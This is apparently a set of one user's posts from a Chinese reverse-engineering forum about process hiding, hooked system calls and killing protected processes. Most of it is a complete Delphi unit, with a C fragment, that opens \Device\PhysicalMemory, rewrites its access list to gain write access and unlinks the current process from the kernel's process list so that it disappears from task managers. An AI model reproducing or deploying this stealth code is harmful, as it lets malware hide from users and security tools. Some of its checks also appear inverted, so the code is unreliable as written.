小小的anti
不支持98 ME

[原创]国庆小礼:injectReflector
跟这个原理相同的东西昨天看到过，有源代码，不过不记得在哪个网站看到了。

[求助]怎么知道远程木马的上线地址?
抓包

如果微软采用生物鉴定技术认证他的操作系统....
你不知道中国最新一代身份证可以复制？德国已经破解生物芯片

[求助]下断点程序自动退出?
硬件断点

[下载]安全卫士 360safe 驱动源码

最初由 wangshq397 发布
360不是开源了么？

人家只是这么说而已，好像目前没有开源。

这段隐藏代码在XP SP2最新补丁状态隐藏进程无效？

最初由 gx_sz 发布
可能是最新版本的 EPROCESS结构体变了。

或者可能是 不能访问 物理内存了。

晚上找个时间试验一下。
........

数值是没错的

    if (0 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0xa0));
        bw = GetData(PVOID(process + 0xa4));      
    }

    if (1 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0x88));
        bw = GetData(PVOID(process + 0x8c));
    }

03 SP1必须要驱动才能访问，不过这个代码目的是除了03 SP1外，不需要驱动来隐藏，这个效果兼容要方便不少。XF论坛很多人说可能是美化过的系统有差别造成，具体也不清楚。

这段隐藏代码在XP SP2最新补丁状态隐藏进程无效？
DELPHI版:

unit UnitHideProcess;    interface  uses    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,    Dialogs,Registry, ComCtrls,StrUtils, StdCtrls, ToolWin, Menus, ImgList,    ActnList,IniFiles,CheckLst,FileCtrl,Aclapi,Accctrl;    type    NTSTATUS=Longint;    USHORT =Byte;    PWSTR=PWidechar;    ULONG= Cardinal  ;    HANDLE=Pointer;    PVOID=Pointer;    PCWSTR=PWidechar;    PULONG=^ULONG ;    HMODULE=THANDLE;    const   STATUS_ACCESS_DENIED = $C0000022 ;   RSP_SIMPLE_SERVICE  =   $00000001;   RSP_UNREGISTER_SERVICE = $00000000 ;    type    _UNICODE_STRING= record             Length:USHORT ;             MaximumLength: USHORT;             Buffer:PWSTR;    end;     UNICODE_STRING= _UNICODE_STRING;     PUNICODE_STRING =^ _UNICODE_STRING ;     _OBJECT_ATTRIBUTES =record       Length:ULONG ;       RootDirectory:HANDLE;       ObjectName:PUNICODE_STRING;       Attributes:ULONG;       SecurityDescriptor:PVOID;       SecurityQualityOfService:PVOID ;  end;    OBJECT_ATTRIBUTES=_OBJECT_ATTRIBUTES ;    POBJECT_ATTRIBUTES=^_OBJECT_ATTRIBUTES;     ZWOPENSECTION=function(                           SectionHandle:PInteger;                             DesiredAccess:ACCESS_MASK;                             ObjectAttributes :POBJECT_ATTRIBUTES                         ): NTSTATUS; stdcall;     RTLINITUNICODESTRING=procedure(                            DestinationString:PUNICODE_STRING;                             SourceString :PCWSTR                            );stdcall;     TMyHideProcess=class    private       OSversion:Longint;       RtlInitUnicodeString:RTLINITUNICODESTRING ;       ZwOpenSection:ZWOPENSECTION;       g_hNtDLL: HMODULE;       g_pMapPhysicalMemory:PVOID;       g_hMPM :THANDLE ;       function InitNTDLL():bool;       procedure CloseNTDLL();       procedure SetPhyscialMemorySectionCanBeWrited( hSection:THANDLE) ;       function  OpenPhysicalMemory():THANDLE ;       function  LinearToPhys(BaseAddress:PULONG ; addr:PVOID):PVOID;       function    GetData(addr:PVOID ):ULONG;       function  SetData( addr:PVOID; data:ULONG):bool;       function  HideProcess2000():bool;       procedure HideProcess98();    public      constructor  Create( theosver:Longint);      destructor Destroy();       procedure DoHideMe();    end;    implementation  constructor  TMyHideProcess.Create( theosver:Longint);  begin  OSversion:=theosver;  end;  destructor TMyHideProcess.Destroy();  begin  CloseNTDLL();  end;  procedure TMyHideProcess.DoHideMe();  begin  case (OSversion) of         98:        HideProcess98();         2000:        HideProcess2000();         end;  end;    function TMyHideProcess.InitNTDLL():bool;  var   a:Longint;  begin    g_hNtDLL := 0;    g_pMapPhysicalMemory := nil;    g_hMPM     := 0;      g_hNtDLL := LoadLibrary( 'ntdll.dll' );      if (g_hNtDLL=0 ) then      begin         result:= FALSE;         exit;      end;        @RtlInitUnicodeString :=          GetProcAddress( g_hNtDLL, 'RtlInitUnicodeString');        @ZwOpenSection :=          GetProcAddress( g_hNtDLL, 'ZwOpenSection');       result:= TRUE;    end;  procedure TMyHideProcess.CloseNTDLL();  begin  if(g_hNtDLL <>0 ) then      begin          FreeLibrary(g_hNtDLL);      end;  end;  procedure TMyHideProcess.SetPhyscialMemorySectionCanBeWrited( hSection:THANDLE) ;  label CleanUp;  var    pDacl,pNewDacl: PACL ;   pSD:  PPSECURITY_DESCRIPTOR  ;    dwRes : DWORD;    ea:EXPLICIT_ACCESS;    begin     pDacl:=nil;     pNewDacl :=nil;     pSD:=nil;              dwRes:=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,          nil,nil,pDacl,nil,pSD);        if(dwRes<>ERROR_SUCCESS) then      begin          goto CleanUp;      end;        ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));      ea.grfAccessPermissions := SECTION_MAP_WRITE;      ea.grfAccessMode := GRANT_ACCESS;      ea.grfInheritance:= NO_INHERITANCE;      ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;      ea.Trustee.TrusteeType := TRUSTEE_IS_USER;      ea.Trustee.ptstrName := 'CURRENT_USER';        dwRes:=SetEntriesInAcl(1,@ea,pDacl,pNewDacl) ;      if(dwRes<> ERROR_SUCCESS) then      begin          goto CleanUp;      end;        dwRes:=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,         nil,nil,pNewDacl,nil);        if(dwRes<>ERROR_SUCCESS) then      begin          goto CleanUp;      end;    CleanUp:        if(pSD<>nil) then          LocalFree(Ulong(pSD));      if(pNewDacl<>nil) then          LocalFree(Ulong(pNewDacl));    end;    function  TMyHideProcess.OpenPhysicalMemory():THANDLE ;  var    status:  NTSTATUS        ;    physmemString:UNICODE_STRING;    attributes:OBJECT_ATTRIBUTES;  begin        RtlInitUnicodeString(@physmemString, PCWSTR('\\Device\\PhysicalMemory'));        attributes.Length            := sizeof(OBJECT_ATTRIBUTES);      attributes.RootDirectory        := nil;      attributes.ObjectName            := @physmemString;      attributes.Attributes            := 0;      attributes.SecurityDescriptor        := nil;      attributes.SecurityQualityOfService    := nil;        status := ZwOpenSection(@g_hMPM,SECTION_MAP_READ or SECTION_MAP_WRITE,@attributes);        if(status = STATUS_ACCESS_DENIED) then      begin          status := ZwOpenSection(@g_hMPM,READ_CONTROL or WRITE_DAC,@attributes);          SetPhyscialMemorySectionCanBeWrited(g_hMPM);          CloseHandle(g_hMPM);          status :=ZwOpenSection(@g_hMPM,SECTION_MAP_READ or SECTION_MAP_WRITE,@attributes);      end;        if  status=0 then      begin          result:= 0;          exit;      end;        g_pMapPhysicalMemory := MapViewOfFile(          g_hMPM,          4,          0,          $30000,          $1000);        if( g_pMapPhysicalMemory = nil ) then      begin          result:=0;          exit ;      end;        result:= g_hMPM;    end;    //-------------------------对付数组指针---------------------------------  type  TArrayULONG = array [0..0] of ULONG;  PTArrayULONG= ^TArrayULONG;    //----------------------------------------------------------    function  TMyHideProcess.LinearToPhys(BaseAddress:PULONG ; addr:PVOID):PVOID;  var    VAddr,PGDE,PTE,PAddr,tmp:ULONG;    _PGDE:PULONG;  begin      VAddr:=ULONG(addr);      PGDE:=PTArrayULONG(BaseAddress)^[VAddr shr 22];      if ((PGDE and 1)<>0) then      begin          tmp:=PGDE and $00000080;          if (tmp<>0) then          begin              PAddr:=(PGDE and $FFC00000)+(VAddr and $003FFFFF);          end          else          begin              PGDE:=ULONG(MapViewOfFile(g_hMPM, 4, 0, PGDE  and  $fffff000, $1000));              _PGDE:=PULONG(PGDE);              PTE:=PTArrayULONG(_PGDE)^[(VAddr and $003FF000) shr 12];              if ((PTE and 1)<>0) then              begin                  PAddr:=(PTE and $FFFFF000)+(VAddr and $00000FFF);                  UnmapViewOfFile(PVOID(PGDE));              end              else               begin                result:= 0;                exit;               end;          end;      end      else      begin       result:= 0;       exit;      end;        result:=PVOID(PAddr);    end;    function    TMyHideProcess.GetData(addr:PVOID ):ULONG;  var    phys,ret:  ULONG;    tmp: PULONG ;  begin      phys:=ULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory),PVOID(addr)));      tmp:=PULONG(MapViewOfFile(g_hMPM, 4, 0, phys  and  $fffff000, $1000));      if (tmp<>nil) then        begin          result:=0;          exit;        end;      ret:=PTArrayULONG(tmp)^[(phys  and  $FFF) shr 2];      UnmapViewOfFile(tmp);      result:=ret;  end;  function  TMyHideProcess.SetData( addr:PVOID; data:ULONG):bool;  var    phys,ret:  ULONG;    tmp: PULONG ;  begin   phys:=ULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory),PVOID(addr)));    tmp:=PULONG(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys  and  $fffff000, $1000));      if (tmp<>nil) then        begin          result:= FALSE;          exit;        end;      PTArrayULONG(tmp)^[(phys  and  $FFF) shr 2]:=data;      UnmapViewOfFile(tmp);      result:= TRUE;  end;    function  TMyHideProcess.HideProcess2000():bool;  var    thread, process ,fw ,bw :ULONG;    begin    if InitNTDLL() then       begin          if (OpenPhysicalMemory()=0) then          begin              result:= FALSE;              exit;          end;          thread:=GetData(PVOID($FFDFF124));          process:=GetData(PVOID(thread+$22c));          fw:=GetData(PVOID(process+$a0));          bw:=GetData(PVOID(process+$a4));          SetData(PVOID(fw+4),bw);          SetData(PVOID(bw),fw);          UnmapViewOfFile(g_pMapPhysicalMemory);          CloseHandle(g_hMPM);          CloseNTDLL();      end;      result:= TRUE;    end;  procedure TMyHideProcess.HideProcess98();   type pRegisterService=function (a,b:DWORD):boolean; stdcall;   var     hKernel :  HMODULE ;     RegisterService: pRegisterService ;  begin       hKernel := LoadLibrary('kernel32.dll');        if(hKernel>0) then         begin            @RegisterService :=GetProcAddress(hKernel,'RegisterServiceProcess');            RegisterService(GetCurrentProcessId(),RSP_SIMPLE_SERVICE);            FreeLibrary(hKernel);            hKernel :=0;         end;  end;    end.

不通过OpenProcess以及 枚举进程 函数杀除远程进程有哪些方法？

最初由 foxabu 发布
那你怎么肯定就是RING0 保护？
这种情况有可能是RING0+RING3

因为ICEWORD能看到他被HOOK的RING0函数

不通过OpenProcess以及 枚举进程 函数杀除远程进程有哪些方法？

最初由 softworm 发布
6f8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4W2j5%4g2J5K9i4c8&6i4K6u0W2L8%4u0Y4i4K6u0W2M7$3N6Q4x3V1k6U0L8$3c8W2i4K6u0r3M7$3c8@1M7X3g2K6N6r3!0J5k6g2)9J5k6h3S2@1L8h3H3`.
有源码

这个也没用，居然检测不出被HOOK的函数。

KeServiceDecriptorTable.ServiceTable    0
KeServiceDescriptorTable.ServiceLimit   0

提示居然是零，应该做过什么其它手脚。

不通过OpenProcess以及 枚举进程 函数杀除远程进程有哪些方法？

最初由 foxabu 发布
RING3 直接用Phisical Memory恢复服务表~~~~然后想怎么杀就怎么杀

测试过了，这个东西对于那个外挂隐藏没有任何作用，没有让进程显示出来。SDT没有被恢复？

不通过OpenProcess以及 枚举进程 函数杀除远程进程有哪些方法？

最初由 riijj 发布
如果它隐藏，为甚幺任务管理器可以发现它 ?

进程隐藏不等于窗口隐藏

[求助]驱动版的Winlicense和themida是不是被封了
ICEWORD 在我这里无法启动，DY在我这里蓝屏，是刚装的系统。我认为还是驱动稳定性问题。

[分享]亚虎助手等流氓软件上中央新闻了...

最初由 goodcode 发布
前一阵新闻说他把3721与上网助手卖给亚虎后去的奇虎
奇虎又出了个360安全卫士
360安全卫士还是满好用的(用来对付流氓软件) 最近还送卡巴斯基的半年key

卫士迟早变成流氓，警察迟早变成土匪。新任三把火，做给无辜的群众看。